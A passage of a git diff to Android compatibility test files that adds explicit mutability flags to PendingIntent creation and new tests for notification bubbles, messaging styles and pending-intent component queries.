         assertFalse(data.isNotificationSuppressed());
         assertFalse(data.getAutoExpandBubble());
     }
 
     public void testBubbleMetadataBuilder_parcelShortcutId() {
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
                         .setDesiredHeight(BUBBLE_HEIGHT)
                         .setAutoExpandBubble(true)
+                        .setSuppressableBubble(true)
                         .setSuppressNotification(true)
                         .setDeleteIntent(deleteIntent)
                         .build();
@@ -689,12 +709,14 @@
         assertEquals(BUBBLE_HEIGHT, metadata.getDesiredHeight());
         assertEquals(deleteIntent, metadata.getDeleteIntent());
         assertEquals(BUBBLE_SHORTCUT_ID, metadata.getShortcutId());
+        assertTrue(metadata.isBubbleSuppressable());
         assertTrue(metadata.getAutoExpandBubble());
         assertTrue(metadata.isNotificationSuppressed());
     }
 
     public void testBubbleMetadata_parcelResId() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata metadata =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -705,6 +727,7 @@
         assertEquals(icon, metadata.getIcon());
         assertEquals(bubbleIntent, metadata.getIntent());
         assertFalse(metadata.getAutoExpandBubble());
+        assertFalse(metadata.isBubbleSuppressable());
         assertFalse(metadata.isNotificationSuppressed());
     }
 
@@ -730,7 +753,8 @@
     }
 
     public void testBubbleMetadataBuilder_shortcutBuilder_throwsForSetIntent() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_MUTABLE);
         try {
             Notification.BubbleMetadata.Builder metadataBuilder =
                     new Notification.BubbleMetadata.Builder(BUBBLE_SHORTCUT_ID)
@@ -794,7 +818,8 @@
         new Canvas(b).drawColor(0xffff0000);
         Icon icon = Icon.createWithAdaptiveBitmap(b);
 
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_MUTABLE);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
         Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -805,7 +830,8 @@
     public void testBubbleMetadataBuilder_noThrowForNonBitmapIcon() {
         Icon icon = Icon.createWithResource(mContext, R.drawable.ic_android);
 
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_MUTABLE);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon);
         Notification.BubbleMetadata metadata = metadataBuilder.build();
@@ -814,8 +840,10 @@
     }
 
     public void testBubbleMetadataBuilder_replaceHeightRes() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_MUTABLE);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -831,8 +859,10 @@
     }
 
     public void testBubbleMetadataBuilder_replaceHeightDp() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
-        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_MUTABLE);
+        PendingIntent deleteIntent = PendingIntent.getActivity(mContext, 0, new Intent(),
+                PendingIntent.FLAG_IMMUTABLE);
         Icon icon = Icon.createWithResource(mContext, 1);
         Notification.BubbleMetadata.Builder metadataBuilder =
                 new Notification.BubbleMetadata.Builder(bubbleIntent, icon)
@@ -854,6 +884,56 @@
         assertTrue((n.flags & FLAG_BUBBLE) != 0);
     }
 
+    public void testGetMessagesFromBundleArray() {
+        Person sender = new Person.Builder().setName("Sender").build();
+        Notification.MessagingStyle.Message firstExpectedMessage =
+                new Notification.MessagingStyle.Message("hello", /* timestamp= */ 123, sender);
+        Notification.MessagingStyle.Message secondExpectedMessage =
+                new Notification.MessagingStyle.Message("hello2", /* timestamp= */ 456, sender);
+
+        Notification.MessagingStyle messagingStyle =
+                new Notification.MessagingStyle("self name")
+                        .addMessage(firstExpectedMessage)
+                        .addMessage(secondExpectedMessage);
+        Notification notification = new Notification.Builder(mContext, "test id")
+                .setSmallIcon(1)
+                .setContentTitle("test title")
+                .setStyle(messagingStyle)
+                .build();
+
+        List<Notification.MessagingStyle.Message> actualMessages =
+                Notification.MessagingStyle.Message.getMessagesFromBundleArray(
+                        notification.extras.getParcelableArray(Notification.EXTRA_MESSAGES));
+
+        assertEquals(2, actualMessages.size());
+        assertMessageEquals(firstExpectedMessage, actualMessages.get(0));
+        assertMessageEquals(secondExpectedMessage, actualMessages.get(1));
+    }
+
+    public void testNotification_isBigPictureStyle_pictureContentDescriptionSet() {
+        final String contentDescription = "content description";
+
+        final Notification.BigPictureStyle bigPictureStyle = new Notification.BigPictureStyle()
+                .setContentDescription(contentDescription);
+
+        mNotification = new Notification.Builder(mContext, CHANNEL.getId())
+                .setStyle(bigPictureStyle)
+                .build();
+
+        final CharSequence notificationContentDescription =
+                mNotification.extras.getCharSequence(
+                        Notification.EXTRA_PICTURE_CONTENT_DESCRIPTION);
+        assertEquals(contentDescription, notificationContentDescription);
+    }
+
+    private static void assertMessageEquals(
+            Notification.MessagingStyle.Message expected,
+            Notification.MessagingStyle.Message actual) {
+        assertEquals(expected.getText(), actual.getText());
+        assertEquals(expected.getTimestamp(), actual.getTimestamp());
+        assertEquals(expected.getSenderPerson(), actual.getSenderPerson());
+    }
+
     private static RemoteInput newDataOnlyRemoteInput() {
         return new RemoteInput.Builder(DATA_RESULT_KEY)
             .setAllowFreeFormInput(false)
@@ -907,7 +987,7 @@
     }
 
     private Notification.BubbleMetadata makeBubbleMetadata() {
-        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+        PendingIntent bubbleIntent = PendingIntent.getActivity(mContext, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         return new Notification.BubbleMetadata.Builder(bubbleIntent,
                 Icon.createWithResource(mContext, 1))
diff --git a/tests/app/src/android/app/cts/PendingIntentTest.java b/tests/app/src/android/app/cts/PendingIntentTest.java
index b0226c9..e3c5e8a 100644
--- a/tests/app/src/android/app/cts/PendingIntentTest.java
+++ b/tests/app/src/android/app/cts/PendingIntentTest.java
@@ -18,6 +18,7 @@
 
 import android.app.PendingIntent;
 import android.app.PendingIntent.CanceledException;
+import android.app.stubs.MockActivity;
 import android.app.stubs.MockReceiver;
 import android.app.stubs.MockService;
 import android.app.stubs.PendingIntentStubActivity;
@@ -25,6 +26,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.ResolveInfo;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
@@ -32,8 +34,10 @@
 import android.os.Parcel;
 import android.os.SystemClock;
 import android.test.AndroidTestCase;
-import android.util.Log;
 
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -143,7 +147,7 @@
         mIntent.setClass(mContext, PendingIntentStubActivity.class);
         mIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         assertEquals(mContext.getPackageName(), mPendingIntent.getTargetPackage());
 
         mPendingIntent.send();
@@ -155,13 +159,20 @@
         // test getActivity return null
         mPendingIntent.cancel();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_NO_CREATE);
+                PendingIntent.FLAG_NO_CREATE | PendingIntent.FLAG_IMMUTABLE);
         assertNull(mPendingIntent);
 
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE);
 
         pendingIntentSendError(mPendingIntent);
+
+        try {
+            mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                    PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_MUTABLE);
+            fail("Shouldn't accept both FLAG_IMMUTABLE and FLAG_MUTABLE for the PendingIntent");
+        } catch (IllegalArgumentException expected) {
+        }
     }
 
     private void pendingIntentSendError(PendingIntent pendingIntent) {
@@ -182,7 +193,7 @@
         mIntent = new Intent(MockReceiver.MOCKACTION);
         mIntent.setClass(mContext, MockReceiver.class);
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send();
 
@@ -192,13 +203,20 @@
         // test getBroadcast return null
         mPendingIntent.cancel();
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_NO_CREATE);
+                PendingIntent.FLAG_NO_CREATE | PendingIntent.FLAG_IMMUTABLE);
         assertNull(mPendingIntent);
 
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE);
 
         pendingIntentSendError(mPendingIntent);
+
+        try {
+            mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                    PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_MUTABLE);
+            fail("Shouldn't accept both FLAG_IMMUTABLE and FLAG_MUTABLE for the PendingIntent");
+        } catch (IllegalArgumentException expected) {
+        }
     }
 
     // Local receiver for examining delivered broadcast intents
@@ -243,7 +261,7 @@
         Intent intent = new Intent(BROADCAST_ACTION);
         intent.putExtra(EXTRA_NAME, EXTRA_1);
 
-        pi = PendingIntent.getBroadcast(context, 0, intent, 0);
+        pi = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_IMMUTABLE);
 
         try {
             br.reset();
@@ -256,7 +274,7 @@
 
             // Repeat PendingIntent.getBroadcast() *without* UPDATE_CURRENT, so we expect
             // the underlying Intent to still be the initial one with EXTRA_1
-            pi = PendingIntent.getBroadcast(context, 0, intent, 0);
+            pi = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_IMMUTABLE);
             br.reset();
             pi.send();
             assertTrue(br.waitForReceipt());
@@ -264,7 +282,8 @@
 
             // This time use UPDATE_CURRENT, and expect to get the updated extra when the
             // PendingIntent is sent
-            pi = PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT);
+            pi = PendingIntent.getBroadcast(context, 0, intent,
+                    PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
             br.reset();
             pi.send();
             assertTrue(br.waitForReceipt());
@@ -280,7 +299,7 @@
         mIntent = new Intent();
         mIntent.setClass(mContext, MockService.class);
         mPendingIntent = PendingIntent.getService(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send();
 
@@ -290,13 +309,20 @@
         // test getService return null
         mPendingIntent.cancel();
         mPendingIntent = PendingIntent.getService(mContext, 1, mIntent,
-                PendingIntent.FLAG_NO_CREATE);
+                PendingIntent.FLAG_NO_CREATE | PendingIntent.FLAG_IMMUTABLE);
         assertNull(mPendingIntent);
 
         mPendingIntent = PendingIntent.getService(mContext, 1, mIntent,
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE);
 
         pendingIntentSendError(mPendingIntent);
+
+        try {
+            mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                    PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_MUTABLE);
+            fail("Shouldn't accept both FLAG_IMMUTABLE and FLAG_MUTABLE for the PendingIntent");
+        } catch (IllegalArgumentException expected) {
+        }
     }
 
     public void testStartServiceOnFinishedHandler() throws InterruptedException, CanceledException {
@@ -305,7 +331,7 @@
         mIntent = new Intent();
         mIntent.setClass(mContext, MockService.class);
         mPendingIntent = PendingIntent.getService(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send(mContext, 1, null, mFinish, null);
 
@@ -322,7 +348,7 @@
         mIntent = new Intent();
         mIntent.setClass(mContext, MockService.class);
         mPendingIntent = PendingIntent.getService(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send(mContext, 1, null, mFinish, mHandler);
 
@@ -340,7 +366,7 @@
         mIntent = new Intent();
         mIntent.setClass(mContext, MockService.class);
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send();
 
@@ -363,7 +389,7 @@
         mIntent.setAction(MockReceiver.MOCKACTION);
         mIntent.setClass(mContext, MockReceiver.class);
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send();
 
@@ -381,7 +407,7 @@
         mIntent = new Intent(MockReceiver.MOCKACTION);
         mIntent.setClass(mContext, MockReceiver.class);
         mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         // send result code 1.
         mPendingIntent.send(1);
@@ -413,7 +439,8 @@
 
         MockReceiver.prepareReceive(null, 0);
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
 
         mPendingIntent.send(mContext, 1, null);
         MockReceiver.waitForReceive(WAIT_TIME);
@@ -422,7 +449,8 @@
         assertEquals(1, MockReceiver.sResultCode);
         mPendingIntent.cancel();
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
 
         mPendingIntent.send(mContext, 2, mIntent);
@@ -437,7 +465,8 @@
         mIntent = new Intent(MockReceiver.MOCKACTION);
         mIntent.setClass(mContext, MockReceiver.class);
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
 
@@ -451,7 +480,8 @@
         assertEquals(1, MockReceiver.sResultCode);
         mPendingIntent.cancel();
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
 
@@ -467,7 +497,8 @@
 
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         mPendingIntent.send(3, mFinish, mHandler);
         waitForFinish(WAIT_TIME);
         assertTrue(mHandleResult);
@@ -485,7 +516,8 @@
         mIntent.setAction(MockReceiver.MOCKACTION);
         mIntent.setClass(getContext(), MockReceiver.class);
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
         mPendingIntent.send(mContext, 1, mIntent, null, null);
@@ -496,7 +528,8 @@
         assertEquals(MockReceiver.MOCKACTION, MockReceiver.sAction);
         mPendingIntent.cancel();
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
         mPendingIntent.send(mContext, 1, mIntent, mFinish, null);
@@ -507,7 +540,8 @@
         assertEquals(MockReceiver.MOCKACTION, MockReceiver.sAction);
         mPendingIntent.cancel();
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
         mPendingIntent.send(mContext, 1, mIntent, mFinish, mHandler);
@@ -528,7 +562,8 @@
         mIntent = new Intent(BAD_ACTION);
         mIntent.setAction(BAD_ACTION);
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
         mPendingIntent.send(mContext, 1, mIntent, mFinish, null);
@@ -539,7 +574,8 @@
         assertNull(MockReceiver.sAction);
         mPendingIntent.cancel();
 
-        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getBroadcast(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
         MockReceiver.prepareReceive(null, 0);
         prepareFinish();
         mPendingIntent.send(mContext, 1, mIntent, mFinish, mHandler);
@@ -554,32 +590,45 @@
     public void testGetTargetPackage() {
         mIntent = new Intent();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         assertEquals(mContext.getPackageName(), mPendingIntent.getTargetPackage());
     }
 
+    public void testIsImmutable() {
+        mIntent = new Intent();
+        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        assertTrue(mPendingIntent.isImmutable());
+
+        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE);
+        assertFalse(mPendingIntent.isImmutable());
+    }
+
     public void testEquals() {
         mIntent = new Intent();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         PendingIntent target = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
 
         assertFalse(mPendingIntent.equals(target));
         assertFalse(mPendingIntent.hashCode() == target.hashCode());
-        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
 
-        target = PendingIntent.getActivity(mContext, 1, mIntent, 1);
+        target = PendingIntent.getActivity(mContext, 1, mIntent, 1 | PendingIntent.FLAG_IMMUTABLE);
         assertTrue(mPendingIntent.equals(target));
 
         mIntent = new Intent(MockReceiver.MOCKACTION);
-        target = PendingIntent.getBroadcast(mContext, 1, mIntent, 1);
+        target = PendingIntent.getBroadcast(mContext, 1, mIntent, 1 | PendingIntent.FLAG_IMMUTABLE);
         assertFalse(mPendingIntent.equals(target));
         assertFalse(mPendingIntent.hashCode() == target.hashCode());
 
-        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent, 1);
-        target = PendingIntent.getActivity(mContext, 1, mIntent, 1);
+        mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
+                1 | PendingIntent.FLAG_IMMUTABLE);
+        target = PendingIntent.getActivity(mContext, 1, mIntent, 1 | PendingIntent.FLAG_IMMUTABLE);
 
         assertTrue(mPendingIntent.equals(target));
         assertEquals(mPendingIntent.hashCode(), target.hashCode());
@@ -588,7 +637,7 @@
     public void testDescribeContents() {
         mIntent = new Intent();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         final int expected = 0;
         assertEquals(expected, mPendingIntent.describeContents());
     }
@@ -596,7 +645,7 @@
     public void testWriteToParcel() {
         mIntent = new Intent();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         Parcel parcel = Parcel.obtain();
 
         mPendingIntent.writeToParcel(parcel, 0);
@@ -608,7 +657,7 @@
     public void testReadAndWritePendingIntentOrNullToParcel() {
         mIntent = new Intent();
         mPendingIntent = PendingIntent.getActivity(mContext, 1, mIntent,
-                PendingIntent.FLAG_CANCEL_CURRENT);
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
         assertNotNull(mPendingIntent.toString());
 
         Parcel parcel = Parcel.obtain();
@@ -625,4 +674,88 @@
         assertNull(target);
     }
 
+    public void testGetIntentComponentAndType() {
+        Intent broadcastReceiverIntent = new Intent(MockReceiver.MOCKACTION);
+        broadcastReceiverIntent.setClass(mContext, MockReceiver.class);
+        PendingIntent broadcastReceiverPI = PendingIntent.getBroadcast(mContext, 1,
+                broadcastReceiverIntent,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        assertTrue(broadcastReceiverPI.isBroadcast());
+        assertFalse(broadcastReceiverPI.isActivity());
+        assertFalse(broadcastReceiverPI.isForegroundService());
+        assertFalse(broadcastReceiverPI.isService());
+
+        List<ResolveInfo> broadcastReceiverResolveInfos =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(broadcastReceiverPI,
+                        (pi) -> pi.queryIntentComponents(0));
+        if (broadcastReceiverResolveInfos != null && broadcastReceiverResolveInfos.size() > 0) {
+            ResolveInfo resolveInfo = broadcastReceiverResolveInfos.get(0);
+            assertNotNull(resolveInfo.activityInfo);
+            assertEquals(MockReceiver.class.getPackageName(), resolveInfo.activityInfo.packageName);
+            assertEquals(MockReceiver.class.getName(), resolveInfo.activityInfo.name);
+        } else {
+            fail("Cannot resolve broadcast receiver pending intent");
+        }
+
+        Intent activityIntent = new Intent();
+        activityIntent.setClass(mContext, MockActivity.class);
+        PendingIntent activityPI = PendingIntent.getActivity(mContext, 1,
+                activityIntent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        assertTrue(activityPI.isActivity());
+        assertFalse(activityPI.isBroadcast());
+        assertFalse(activityPI.isForegroundService());
+        assertFalse(activityPI.isService());
+
+        List<ResolveInfo> activityResolveInfos =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(activityPI,
+                        (pi) -> pi.queryIntentComponents(0));
+        if (activityResolveInfos != null && activityResolveInfos.size() > 0) {
+            ResolveInfo resolveInfo = activityResolveInfos.get(0);
+            assertNotNull(resolveInfo.activityInfo);
+            assertEquals(MockActivity.class.getPackageName(), resolveInfo.activityInfo.packageName);
+            assertEquals(MockActivity.class.getName(), resolveInfo.activityInfo.name);
+        } else {
+            fail("Cannot resolve activity pending intent");
+        }
+
+        Intent serviceIntent = new Intent();
+        serviceIntent.setClass(mContext, MockService.class);
+        PendingIntent servicePI = PendingIntent.getService(mContext, 1, serviceIntent,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        assertTrue(servicePI.isService());
+        assertFalse(servicePI.isActivity());
+        assertFalse(servicePI.isBroadcast());
+        assertFalse(servicePI.isForegroundService());
+
+        List<ResolveInfo> serviceResolveInfos =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(servicePI,
+                        (pi) -> pi.queryIntentComponents(0));
+        if (serviceResolveInfos != null && serviceResolveInfos.size() > 0) {
+            ResolveInfo resolveInfo = serviceResolveInfos.get(0);
+            assertNotNull(resolveInfo.serviceInfo);
+            assertEquals(MockService.class.getPackageName(), resolveInfo.serviceInfo.packageName);
+            assertEquals(MockService.class.getName(), resolveInfo.serviceInfo.name);
+        } else {
+            fail("Cannot resolve service pending intent");
+        }
+
+        PendingIntent foregroundServicePI = PendingIntent.getForegroundService(mContext, 1,
+                serviceIntent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        assertTrue(foregroundServicePI.isForegroundService());
+        assertFalse(foregroundServicePI.isActivity());
+        assertFalse(foregroundServicePI.isBroadcast());
+        assertFalse(foregroundServicePI.isService());
+
+        List<ResolveInfo> foregroundServiceResolveInfos =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(foregroundServicePI,
+                        (pi) -> pi.queryIntentComponents(0));
+        if (foregroundServiceResolveInfos != null && foregroundServiceResolveInfos.size() > 0) {
+            ResolveInfo resolveInfo = serviceResolveInfos.get(0);
+            assertNotNull(resolveInfo.serviceInfo);
+            assertEquals(MockService.class.getPackageName(), resolveInfo.serviceInfo.packageName);
+            assertEquals(MockService.class.getName(), resolveInfo.serviceInfo.name);
+        } else {
+            fail("Cannot resolve foreground service pending intent");
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
index 8d1ab70..6a84d88 100644
--- a/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
+++ b/tests/app/src/android/app/cts/RecoverableSecurityExceptionTest.java
@@ -48,7 +48,7 @@
     }
 
     private RecoverableSecurityException build() {
-        final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), 0);
+        final PendingIntent pi = PendingIntent.getActivity(getContext(), 42, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return new RecoverableSecurityException(new SecurityException("foo"), "bar",
                 new RemoteAction(Icon.createWithFilePath("/dev/null"), "title", "content", pi));
     }
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index d2e0776..4f27d66 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -16,6 +16,11 @@
 
 package android.app.cts;
 
+import static android.app.stubs.LocalForegroundService.COMMAND_START_FOREGROUND;
+import static android.app.stubs.LocalForegroundService.COMMAND_START_FOREGROUND_DEFER_NOTIFICATION;
+import static android.app.stubs.LocalForegroundService.COMMAND_STOP_FOREGROUND_DETACH_NOTIFICATION;
+import static android.app.stubs.LocalForegroundService.COMMAND_STOP_FOREGROUND_DONT_REMOVE_NOTIFICATION;
+
 import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.Notification;
@@ -28,6 +33,7 @@
 import android.app.stubs.LocalDeniedService;
 import android.app.stubs.LocalForegroundService;
 import android.app.stubs.LocalGrantedService;
+import android.app.stubs.LocalPhoneCallService;
 import android.app.stubs.LocalService;
 import android.app.stubs.LocalStoppedService;
 import android.app.stubs.NullService;
@@ -52,8 +58,8 @@
 import android.util.Log;
 import android.util.SparseArray;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.IBinderParcelable;
 import com.android.compatibility.common.util.SystemUtil;
@@ -93,6 +99,7 @@
     private Intent mLocalService;
